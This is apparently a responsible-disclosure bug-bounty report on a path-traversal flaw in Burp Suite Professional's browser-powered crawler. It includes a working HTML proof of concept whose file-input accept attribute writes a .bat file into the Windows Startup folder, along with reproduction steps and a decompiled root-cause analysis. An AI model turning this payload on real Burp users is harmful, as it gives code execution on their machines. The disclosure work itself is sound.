Burp Suite Professional: browser-powered crawl can write attacker-controlled files through file input handling

How it was found

Target

Burp Suite Professional 2026.3.3 on Windows.

Summary

When Burp Scanner's browser-powered crawler crawls an attacker's website, the website can force Burp to write an attacker-controlled file to an attacker-controlled local path. For example, the PoC writes calc.exe into the current user's Startup folder, which triggers command execution when the user next logs in.

The issue is caused by Burp's handling of <input type="file">: Burp creates a local upload file from page-controlled attributes, but does not prevent path traversal in the generated filename.

Steps To Reproduce

1. Serve the following HTML from an attacker-controlled website:

<!doctype html>
<html>
  <body>
    <form action="/upload" method="post" enctype="multipart/form-data">
      <input
        type="file"
        name="upload"
        value="calc.exe"
        accept="./../../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup/burp_calc.bat">
      <button type="submit">Upload</button>
    </form>
  </body>
</html>

In my local reproduction, I served this file as:

python -m http.server 8000

http://192.168.186.149:8000/poc_file_input_write_startup_calc.html

2. In Burp Suite Professional, start a new crawl:

Dashboard -> New scan -> Crawl
URLs to scan -> http://192.168.186.149:8000/poc_file_input_write_startup_calc.html

// to make it clear
Scan configuration -> Deep -> Crawl configuration -> Browser behaviour -> Always use Burps' browser

3. Start the crawl.

4. After the crawl processes the page, check the current user's Startup folder:

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\burp_calc.bat

Observed result:

calc.exe

5. Log out and log in again. calc.exe is executed from the Startup folder.

Root Cause

The root cause is that Burp treats untrusted web page attributes as safe local file metadata.

The following snippets are from the decompiled Burp code, but I have renamed the obfuscated class, method, and variable names for readability. The logic is unchanged.

When the crawler interacts with a form, it detects file inputs and calls the file-input preparation code:

for (FormInput input : discoveredInputs) {
    if (input.type() == InputType.FILE) {
        prepareFileInput(input);
        continue;
    }

    fillNormalInput(input);
}

The file-input preparation code creates a local file, writes the page-controlled input value into it, then selects that file in the browser:

private static void prepareFileInput(FormInput input) throws IOException {
    if (isBlank(input.inputValue())) {
        return;
    }

    File uploadFile = buildTemporaryUploadFile(input);
    Files.write(uploadFile.toPath(), bytes(input.inputValue()));

    BrowserFileInput browserFileInput = input.browserElement().fileInput();
    browserFileInput.selectFile(uploadFile.toPath());
}

The local file path is built by creating a temporary directory and resolving the derived filename beneath it:

private static File buildTemporaryUploadFile(FormInput input) throws IOException {
    String filename = input.deriveFileNameFromFileInput().orElse("file");
    Path tempDirectory = Files.createTempDirectory("burp");
    return tempDirectory.resolve(filename).toFile();
}

The unsafe filename comes from the file input's accept attribute. Burp accepts any token beginning with . as an extension:

private Optional<FileName> deriveFileNameFromFileInput() {
    if (input.type() != InputType.FILE) {
        return Optional.empty();
    }

    String accept = input.attribute("accept");
    for (String token : accept.split(",")) {
        if (token.startsWith(".")) {
            fileNameBuilder.addExtension(token);
        }
    }

    return Optional.of(fileNameBuilder.build());
}

As a result, Path.resolve(filename) is used with attacker-controlled path traversal content.

Recommended Fix

Burp should not use page-controlled file input metadata directly as a local filesystem path.

At minimum, the filename used for temporary upload files should be generated or sanitized so that a web page cannot introduce path separators, traversal sequences, or any value that escapes Burp's intended temporary directory.

Impact

A website accessed through Burp Scanner can write attacker-controlled text files to arbitrary user-writable locations where the parent directory already exists.

On Windows, this can be used to write a .bat file to the current user's Startup folder. That file runs when the user next logs in, giving delayed code execution.

This matches the High severity example in the bounty guidelines:

A website accessed through Burp Suite can make Burp execute arbitrary code

The guidelines also state:

Websites accessed through Burp are untrusted, so anything a website could do to read files of the user's computer, read data out of Burp Suite, or gain remote code execution would be considered a vulnerability.